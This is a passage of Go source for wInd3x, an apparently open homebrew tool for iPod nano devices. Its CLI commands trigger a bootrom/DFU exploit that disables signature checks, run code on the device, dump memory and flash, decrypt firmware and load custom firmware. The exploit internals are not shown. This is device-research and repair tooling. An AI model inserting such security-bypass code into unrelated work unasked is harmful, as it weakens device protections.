    "content": "package main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\t\"slices\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/pkg/cache\"\n\t\"github.com/freemyipod/wInd3x/pkg/cfw\"\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/efi\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/image\"\n)\n\nvar cfwCmd = &cobra.Command{\n\tUse:   \"cfw\",\n\tShort: \"Custom firmware generation (EXPERIMENTAL)\",\n\tLong:  \"Build custom firmware bits. Very new, very undocumented. Mostly useful for devs.\",\n}\n\ntype findVisitor struct {\n\twant  []string\n\tfound []*efi.FirmwareFile\n}\n\nfunc (v *findVisitor) Done() error {\n\treturn nil\n}\n\nfunc (v *findVisitor) VisitFile(file *efi.FirmwareFile) error {\n\tfor _, section := range file.Sections {\n\t\tif section.Header().Type == efi.SectionTypeUserInterface {\n\t\t\tname := string(bytes.ReplaceAll(section.Raw(), []byte{0}, []byte{}))\n\t\t\tif slices.Contains(v.want, name) {\n\t\t\t\tslog.Debug(\"Found\", \"name\", name)\n\t\t\t\tv.found = append(v.found, file)\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (v *findVisitor) VisitSection(section efi.Section) error {\n\treturn nil\n}\n\nfunc superdiags(app *app.App) ([]byte, error) {\n\tdiagb, err := cache.Get(app, cache.PayloadKindDiagsDecrypted)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"when getting diags: %w\", err)\n\t}\n\tdiagi, err := image.Read(bytes.NewReader(diagb))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"when reading diags: %w\", err)\n\t}\n\tdiag, err := efi.ReadVolume(efi.NewNestedReader(diagi.Body))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"when reading diags fv: %w\", err)\n\t}\n\tbootb, err := cache.Get(app, cache.PayloadKindBootloaderDecrypted)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"when getting bootloader: %w\", err)\n\t}\n\tbooti, err := image.Read(bytes.NewReader(bootb))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"when reading bootloader: %w\", err)\n\t}\n\tboot, err := efi.ReadVolume(efi.NewNestedReader(booti.Body))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"when reading bootloader fv: %w\", err)\n\t}\n\n\tfv := &findVisitor{\n\t\twant: []string{\n\t\t\t\"DiskIoDxe\",\n\t\t\t\"Partition\",\n\t\t\t\"Image1FSReadOnly\",\n\t\t\t\"Nand\",\n\t\t},\n\t}\n\tif err := cfw.VisitVolume(boot, fv); err != nil {\n\t\treturn nil, fmt.Errorf(\"when visiting bootloader: %w\", err)\n\t}\n\tif want, got := len(fv.want), len(fv.found); want != got {\n\t\treturn nil, fmt.Errorf(\"did not find all requested modules (wanted %v, got %d)\", fv.want, len(fv.found))\n\t}\n\n\tslog.Debug(\"Before append\", \"files\", len(diag.Files))\n\tdiag.Files = append(diag.Files, fv.found...)\n\tslog.Debug(\"After append\", \"files\", len(diag.Files))\n\tdiagb, err = diag.Serialize()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not serialize superdiags fv: %w\", err)\n\t}\n\tdiagbi, err := image.MakeUnsigned(diagi.DeviceKind, diagi.Header.Entrypoint, diagb)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not make superdiags image: %w\", err)\n\t}\n\treturn diagbi, nil\n}\n\nvar cfwSuperdiagsCmd = &cobra.Command{\n\tUse:   \"superdiags\",\n\tShort: \"Run superdiags\",\n\tLong:  \"Run superdiags (diag with extra Nand driver). If your iPod has a connected DCSD cable, you'll be able to access a console over it.\",\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tdiags, err := superdiags(&app.App)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\twtf, err := cache.Get(&app.App, cache.PayloadKindWTFDefanged)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to run wInd3x exploit: %w\", err)\n\t\t}\n\t\tslog.Info(\"Sending defanged WTF...\")\n\t\tif err := dfu.SendImage(app.Usb, wtf, app.Desc.Kind.DFUVersion()); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to send image: %w\", err)\n\t\t}\n\n\t\tslog.Info(\"Waiting 10s for device to switch to WTF mode...\")\n\t\tctx, ctxC := context.WithTimeout(cmd.Context(), 10*time.Second)\n\t\tdefer ctxC()\n\t\tif err := app.waitSwitch(ctx, devices.WTF); err != nil {\n\t\t\treturn fmt.Errorf(\"device did not switch to WTF mode: %w\", err)\n\t\t}\n\t\ttime.Sleep(time.Second)\n\n\t\tslog.Info(\"Sending diags...\")\n\t\tfor i := 0; i < 10; i++ {\n\t\t\terr = dfu.SendImage(app.Usb, diags, app.Desc.Kind.DFUVersion())\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tslog.Error(\"Error when sending diags\", \"err\", err)\n\t\t\t\ttime.Sleep(time.Second)\n\t\t\t}\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tslog.Info(\"Done.\")\n\n\t\treturn nil\n\t},\n}\n\nvar cfwRunCmd = &cobra.Command{\n\tUse:   \"run [firmware]\",\n\tShort: \"Run CFW\",\n\tLong:  \"Run CFW based on modified WTF and firmware (eg. modified OSOS or u-boot)\",\n\tArgs:  cobra.ExactArgs(1),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tfwb, err := os.ReadFile(args[0])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\twtf, err := cache.Get(&app.App, cache.PayloadKindWTFDefanged)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to run wInd3x exploit: %w\", err)\n\t\t}\n\t\tslog.Info(\"Sending defanged WTF...\")\n\t\tif err := dfu.SendImage(app.Usb, wtf, app.Desc.Kind.DFUVersion()); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to send image: %w\", err)\n\t\t}\n\n\t\t_, err = image.Read(bytes.NewReader(fwb))\n\t\tswitch {\n\t\tcase err == nil:\n\t\tcase err == image.ErrNotImage1:\n\t\t\tfallthrough\n\t\tcase len(fwb) < 0x400:\n\t\t\tslog.Info(\"Given firmware file is not IMG1, packing into one...\")\n\t\t\tfwb, err = image.MakeUnsigned(app.Desc.Kind, 0, fwb)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\n\t\tslog.Info(\"Waiting 10s for device to switch to WTF mode...\")\n\t\tctx, ctxC := context.WithTimeout(cmd.Context(), 10*time.Second)\n\t\tdefer ctxC()\n\t\tif err := app.waitSwitch(ctx, devices.WTF); err != nil {\n\t\t\treturn fmt.Errorf(\"device did not switch to WTF mode: %w\", err)\n\t\t}\n\t\ttime.Sleep(time.Second)\n\n\t\tslog.Info(\"Sending firmware...\")\n\t\tfor i := 0; i < 10; i++ {\n\t\t\terr = dfu.SendImage(app.Usb, fwb, app.Desc.Kind.DFUVersion())\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tslog.Error(\"Error when sending firmware\", \"err\", err)\n\t\t\t\ttime.Sleep(time.Second)\n\t\t\t}\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tslog.Info(\"Done.\")\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_decrypt.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/decrypt\"\n\t\"github.com/freemyipod/wInd3x/pkg/image\"\n\t\"github.com/spf13/cobra\"\n)\n\nvar decryptRecovery string\n\nvar decryptCmd = &cobra.Command{\n\tUse:   \"decrypt [input] [output]\",\n\tShort: \"Decrypt DFU image\",\n\tLong:  \"Uses a connected device to decrypt a DFU image into a Haxed DFU compatible plaintext DFU image.\",\n\tArgs:  cobra.ExactArgs(2),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tf, err := os.Open(args[0])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not open input: %w\", err)\n\t\t}\n\n\t\timg, err := image.Read(f)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not read image: %w\", err)\n\t\t}\n\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tif app.Desc.Kind != img.DeviceKind {\n\t\t\treturn fmt.Errorf(\"image is for %s, but %s is connected\", img.DeviceKind, app.Desc.Kind)\n\t\t}\n\n\t\tres, err := decrypt.Decrypt(&app.App, img.Body, decryptRecovery)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Write image.\n\t\twrapped, err := image.MakeUnsigned(img.DeviceKind, img.Header.Entrypoint, res)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not make image: %w\", err)\n\t\t}\n\n\t\tif err := os.WriteFile(args[1], wrapped, 0600); err != nil {\n\t\t\treturn fmt.Errorf(\"could not write image: %w\", err)\n\t\t}\n\n\t\tslog.Info(\"Done!\")\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_download.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/cache\"\n\t\"github.com/spf13/cobra\"\n)\n\nvar downloadBits = map[string]cache.PayloadKind{\n\t\"wtf\":        cache.PayloadKindWTFUpstream,\n\t\"bootloader\": cache.PayloadKindBootloaderUpstream,\n\t\"retailos\":   cache.PayloadKindRetailOSUpstream,\n\t\"diags\":      cache.PayloadKindDiagsUpstream,\n}\n\nvar downloadCmd = &cobra.Command{\n\tUse:   \"download [kind] [output path]\",\n\tShort: \"Download update files from Apple's CDN\",\n\tArgs:  cobra.ExactArgs(2),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tkind, ok := downloadBits[args[0]]\n\t\tif !ok {\n\t\t\tvar opts []string\n\t\t\tfor k := range downloadBits {\n\t\t\t\topts = append(opts, k)\n\t\t\t}\n\t\t\tsort.Strings(opts)\n\t\t\treturn fmt.Errorf(\"invalid kind, must be one of: %s\", strings.Join(opts, \", \"))\n\t\t}\n\n\t\tby, err := cache.Get(&app.App, kind)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := os.WriteFile(args[1], by, 0600); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tslog.Info(\"Wrote file\", \"kind\", args[0], \"path\", args[1])\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_dump.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/dumpmem\"\n)\n\nvar dumpCmd = &cobra.Command{\n\tUse:   \"dump [offset] [size] [file]\",\n\tShort: \"Dump memory to file\",\n\tLong:  \"Read memory from a connected device and write results to a file. Not very fast.\",\n\tArgs:  cobra.ExactArgs(3),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\toffset, err := parseNumber(args[0])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid offset\")\n\t\t}\n\t\tsize, err := parseNumber(args[1])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid size\")\n\t\t}\n\n\t\tf, err := os.Create(args[2])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not open file for writing: %w\", err)\n\t\t}\n\t\tdefer f.Close()\n\n\t\tstart := time.Now()\n\t\tfor i := uint32(0); i < size; i += 0x40 {\n\t\t\to := offset + i\n\t\t\tslog.Info(\"Dumping...\", \"offset\", o)\n\t\t\tdata, err := dumpmem.Trigger(app.Usb, app.Ep, o)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to run wInd3x exploit: %w\", err)\n\t\t\t}\n\t\t\tif _, err := f.Write(data); err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to write: %w\", err)\n\t\t\t}\n\t\t}\n\t\ttook := time.Since(start)\n\t\tslog.Info(\"Done!\", \"bytes\", size, \"seconds\", int(took.Seconds()), \"bps\", int(float64(size)/took.Seconds()))\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_haxdu.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu\"\n)\n\nvar haxDFUCmd = &cobra.Command{\n\tUse:   \"haxdfu\",\n\tShort: \"Started 'haxed dfu' mode on a device\",\n\tLong:  \"Runs the wInd3x exploit to turn off security measures in the DFU that's currently running on a connected devices, allowing unsigned/unencrypted images to run.\",\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tif err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to run wInd3x exploit: %w\", err)\n\t\t}\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_makedfu.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/image\"\n)\n\nvar (\n\tmakeDFUEntrypoint string\n\tmakeDFUDeviceKind string\n)\nvar makeDFUCmd = &cobra.Command{\n\tUse:   \"makedfu [input] [output]\",\n\tShort: \"Build 'haxed dfu' unsigned image from binary\",\n\tLong:  \"Wraps a flat binary (loadable at 0x2200_0000) into an unsigned and unencrypted DFU image, to use with haxdfu/run.\",\n\tArgs:  cobra.ExactArgs(2),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tdata, err := os.ReadFile(args[0])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not read input: %w\", err)\n\t\t}\n\n\t\tvar kind devices.Kind\n\t\tswitch strings.ToLower(makeDFUDeviceKind) {\n\t\tcase \"\":\n\t\t\treturn fmt.Errorf(\"--kind must be set (one of: n3g, n4g, n5g)\")\n\t\tcase \"n3g\":\n\t\t\tkind = devices.Nano3\n\t\tcase \"n4g\":\n\t\t\tkind = devices.Nano4\n\t\tcase \"n5g\":\n\t\t\tkind = devices.Nano5\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"--kind must be one of: n3g, n4g, n5g\")\n\t\t}\n\n\t\tentrypoint, err := parseNumber(makeDFUEntrypoint)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid entrypoint\")\n\t\t}\n\t\twrapped, err := image.MakeUnsigned(kind, entrypoint, data)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not make image: %w\", err)\n\t\t}\n\n\t\tif err := os.WriteFile(args[1], wrapped, 0600); err != nil {\n\t\t\treturn fmt.Errorf(\"could not write image: %w\", err)\n\t\t}\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_mse.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/mse\"\n)\n\nvar extractDir string\n\nvar mseCmd = &cobra.Command{\n\tUse:   \"mse\",\n\tShort: \"Manipulate .mse firmware files\",\n}\n\nvar mseExtractCmd = &cobra.Command{\n\tUse:   \"extract [Firmware.mse]\",\n\tShort: \"Extract an .mse firmware flie into images\",\n\tLong:  \"Split an .mse file into individual images like osos, disk, etc.\",\n\tArgs:  cobra.ExactArgs(1),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tf, err := os.Open(args[0])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not read input: %w\", err)\n\t\t}\n\n\t\tdefer f.Close()\n\t\tm, err := mse.Parse(f)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not parse .mse: %w\", err)\n\t\t}\n\n\t\tdir := extractDir\n\t\tif dir == \"\" {\n\t\t\tdir, err = os.Getwd()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"could not get working directory: %w\", err)\n\t\t\t}\n\t\t}\n\t\tfor _, file := range m.Files {\n\t\t\tif !file.Header.Valid() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tpath := filepath.Join(dir, file.Header.Name.String())\n\t\t\tslog.Info(\"Extracting ...\", \"path\", path)\n\t\t\tif err := os.WriteFile(path, file.Data, 0666); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_nand_read.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"os\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n\t\"github.com/spf13/cobra\"\n)\n\nvar nandCmd = &cobra.Command{\n\tUse:   \"nand\",\n\tShort: \"NAND Flash access (EXPERIMENTAL)\",\n\tLong:  \"Manipulate NAND Flash on the device. Currently this is EXPERIMENTAL, as the NAND access methods are not well reverse engineered.\",\n}\n\nfunc nandReadPageOffset(a *app.App, bank, page, offset uint32) ([]byte, error) {\n\tep := a.Ep\n\tusb := a.Usb\n\n\tlisting, dataAddr := ep.NANDReadPage(bank, page, offset)\n\tlisting = append(listing, ep.HandlerFooter(dataAddr)...)\n\tread := uasm.Program{\n\t\tAddress: ep.ExecAddr(),\n\t\tListing: listing,\n\t}\n\n\tif err := dfu.Clean(usb); err != nil {\n\t\treturn nil, fmt.Errorf(\"clean failed: %w\", err)\n\t}\n\n\tresBuf, err := exploit.RCE(usb, ep, read.Assemble(), nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to execute read payload: %w\", err)\n\t}\n\treturn resBuf, nil\n}\n\nfunc nandIdentify(a *app.App) ([]byte, error) {\n\tep := a.Ep\n\tusb := a.Usb\n\n\tlisting, dataAddr := ep.NANDIdentify()\n\tlisting = append(listing, ep.HandlerFooter(dataAddr)...)\n\tread := uasm.Program{\n\t\tAddress: ep.ExecAddr(),\n\t\tListing: listing,\n\t}\n\n\tif err := dfu.Clean(usb); err != nil {\n\t\treturn nil, fmt.Errorf(\"clean failed: %w\", err)\n\t}\n\n\tresBuf, err := exploit.RCE(usb, ep, read.Assemble(), nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to execute read payload: %w\", err)\n\t}\n\treturn resBuf, nil\n}\n\nvar nandIdentifyCmd = &cobra.Command{\n\tUse:   \"identify [bank]\",\n\tShort: \"Read NAND identifier for bank\",\n\tLong:  \"Read NAND identifer for bank\",\n\tArgs:  cobra.ExactArgs(1),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tbank, err := parseNumber(args[0])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid bank\")\n\t\t}\n\t\tep := app.Ep\n\t\tusb := app.Usb\n\n\t\tlisting := ep.DisableICache()\n\t\tpayload, err := ep.NANDInit(bank)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlisting = append(listing, payload...)\n\t\tlisting = append(listing, ep.HandlerFooter(0x20000000)...)\n\t\tinit := uasm.Program{\n\t\t\tAddress: ep.ExecAddr(),\n\t\t\tListing: listing,\n\t\t}\n\n\t\tif err := dfu.Clean(app.Usb); err != nil {\n\t\t\treturn fmt.Errorf(\"clean failed: %w\", err)\n\t\t}\n\n\t\tif _, err := exploit.RCE(usb, ep, init.Assemble(), nil); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to execute init payload: %w\", err)\n\t\t}\n\n\t\tdata, err := nandIdentify(&app.App)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfmt.Printf(\"JEDEC manufacturer ID: 0x%02X\\n\", data[0])\n\t\tfmt.Printf(\"JEDEC device ID: 0x%02X 0x%02X 0x%02X\\n\", data[1], data[2], data[3])\n\n\t\treturn nil\n\t},\n}\n\nvar nandReadCmd = &cobra.Command{\n\tUse:   \"read [bank] [file]\",\n\tShort: \"Read NAND bank\",\n\tLong:  \"Read a 0x60000 'bank' (maybe?) of NAND. Slowly. Bank 0 contains the bootloader.\",\n\tArgs:  cobra.ExactArgs(2),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tbank, err := parseNumber(args[0])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid bank\")\n\t\t}\n\t\tep := app.Ep\n\t\tusb := app.Usb\n\n\t\tf, err := os.Create(args[1])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlisting := ep.DisableICache()\n\t\tpayload, err := ep.NANDInit(bank)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlisting = append(listing, payload...)\n\t\tlisting = append(listing, ep.HandlerFooter(0x20000000)...)\n\t\tinit := uasm.Program{\n\t\t\tAddress: ep.ExecAddr(),\n\t\t\tListing: listing,\n\t\t}\n\n\t\tif err := dfu.Clean(app.Usb); err != nil {\n\t\t\treturn fmt.Errorf(\"clean failed: %w\", err)\n\t\t}\n\n\t\tif _, err := exploit.RCE(usb, ep, init.Assemble(), nil); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to execute init payload: %w\", err)\n\t\t}\n\n\t\tfor p := uint32(0); p < 0x100; p += 1 {\n\t\t\tslog.Info(\"Progress...\", \"percent\", float32(p)*100/0x100)\n\t\t\tfor offs := uint32(0); offs < 0x600; offs += 0x40 {\n\t\t\t\tdata, err := nandReadPageOffset(&app.App, bank, p, offs)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tf.Write(data)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_nor_read.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"os\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/app\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/exploit\"\n\t\"github.com/freemyipod/wInd3x/pkg/uasm\"\n\t\"github.com/spf13/cobra\"\n)\n\nvar norCmd = &cobra.Command{\n\tUse:   \"nor\",\n\tShort: \"NOR Flash access (EXPERIMENTAL)\",\n\tLong:  \"Manipulate SPI NOR Flash on the device. Currently this is EXPERIMENTAL, as the SPI NOR access methods are not well reverse engineered.\",\n}\n\nfunc readNOR(app *app.App, w io.Writer, spino, offset, size uint32) error {\n\tep := app.Ep\n\tusb := app.Usb\n\n\tlisting := ep.DisableICache()\n\tpayload, err := ep.NORInit(spino)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlisting = append(listing, payload...)\n\tlisting = append(listing, ep.HandlerFooter(0x20000000)...)\n\tinit := uasm.Program{\n\t\tAddress: ep.ExecAddr(),\n\t\tListing: listing,\n\t}\n\tif err := dfu.Clean(app.Usb); err != nil {\n\t\treturn fmt.Errorf(\"clean failed: %w\", err)\n\t}\n\n\tif _, err := exploit.RCE(usb, ep, init.Assemble(), nil); err != nil {\n\t\treturn fmt.Errorf(\"failed to execute init payload: %w\", err)\n\t}\n\n\tfor i := uint32(0); i < size; i += 0x40 {\n\t\tlisting, dataAddr := ep.NORRead(spino, offset+i)\n\t\tlisting = append(listing, ep.HandlerFooter(dataAddr)...)\n\t\tread := uasm.Program{\n\t\t\tAddress: ep.ExecAddr(),\n\t\t\tListing: listing,\n\t\t}\n\t\tif err := dfu.Clean(app.Usb); err != nil {\n\t\t\treturn fmt.Errorf(\"clean failed: %w\", err)\n\t\t}\n\n\t\tdata, err := exploit.RCE(usb, ep, read.Assemble(), nil)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to execute read payload: %w\", err)\n\t\t}\n\t\tif _, err := w.Write(data); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to write: %w\", err)\n\t\t}\n\t}\n\treturn nil\n}\n\nvar norReadCmd = &cobra.Command{\n\tUse:   \"read [spino] [address] [count] [file]\",\n\tShort: \"Read NOR flash\",\n\tLong:  \"Read N bytes from an address from given SPI peripheral.\",\n\tArgs:  cobra.ExactArgs(4),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tapp, err := newDFU()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\tspino, err := parseNumber(args[0])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid spi peripheral number\")\n\t\t}\n\t\taddress, err := parseNumber(args[1])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid address\")\n\t\t}\n\t\tcount, err := parseNumber(args[2])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid count\")\n\t\t}\n\n\t\tf, err := os.Create(args[3])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tslog.Info(\"Reading NOR...\", \"address\", address, \"spi\", spino, \"bytes\", count)\n\t\terr = readNOR(&app.App, f, spino, address, count)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tslog.Info(\"Done\")\n\t\treturn nil\n\t},\n}\n"
  },
  {
    "path": "cmd/wInd3x/cmd_restore.go",
    "content": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"time\"\n\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/cache\"\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n\t\"github.com/freemyipod/wInd3x/pkg/dfu\"\n\t\"github.com/freemyipod/wInd3x/pkg/usbms\"\n)\n\nvar restoreFull bool\nvar restoreVersion string\n\nvar restoreCmd = &cobra.Command{\n\tUse:   \"restore\",\n\tShort: \"Restore iPod to stock firmware\",\n\tLong:  \"Restores an iPod to stock/factory firmware from DFU mode, downloading everything necessary along the way. You _will_ lose all data stored on the device.\",\n\tArgs:  cobra.ExactArgs(0),\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\n\t\tapp, err := newAny()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer app.Close()\n\n\t\thasBootloader := true\n\t\tswitch app.Desc.Kind {\n\t\tcase devices.Nano3:\n\t\t\thasBootloader = false\n\t\t}\n\n\t\tswitch restoreVersion {\n\t\tcase \"list\":\n\t\t\tversions := cache.GetFirmwareVersions(app.Desc.Kind)\n\t\t\tslog.Info(\"Available versions:\", \"kind\", app.Desc.Kind)\n\t\t\tfor _, version := range versions {\n\t\t\t\tslog.Info(fmt.Sprintf(\"- %s\", version))\n\t\t\t}\n\t\t\treturn nil\n\t\tcase \"\", \"current\":\n\t\tdefault:\n\t\t\tcache.FirmwareVersionOverrides = map[devices.Kind]string{\n\t\t\t\tapp.Desc.Kind: restoreVersion,\n\t\t\t}\n\t\t}\n\n\t\tfirmware, err := cache.Get(&app.App, cache.PayloadKindFirmwareUpstream)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not get firmware: %w\", err)\n\t\t}\n\n\t\tvar bootloader []byte\n\t\tif hasBootloader {\n\t\t\tbootloader, err = cache.Get(&app.App, cache.PayloadKindBootloaderUpstream)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"could not get bootloader: %s\", err)\n\t\t\t}\n\t\t}\n\n\t\tfor {\n\t\t\tslog.Info(\"Found device\", \"device\", app.Desc.Kind, \"interface\", app.InterfaceKind)\n\t\t\tswitch app.InterfaceKind {\n\t\t\tcase devices.DFU:\n\t\t\t\twtf, err := cache.Get(&app.App, cache.PayloadKindWTFUpstream)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn 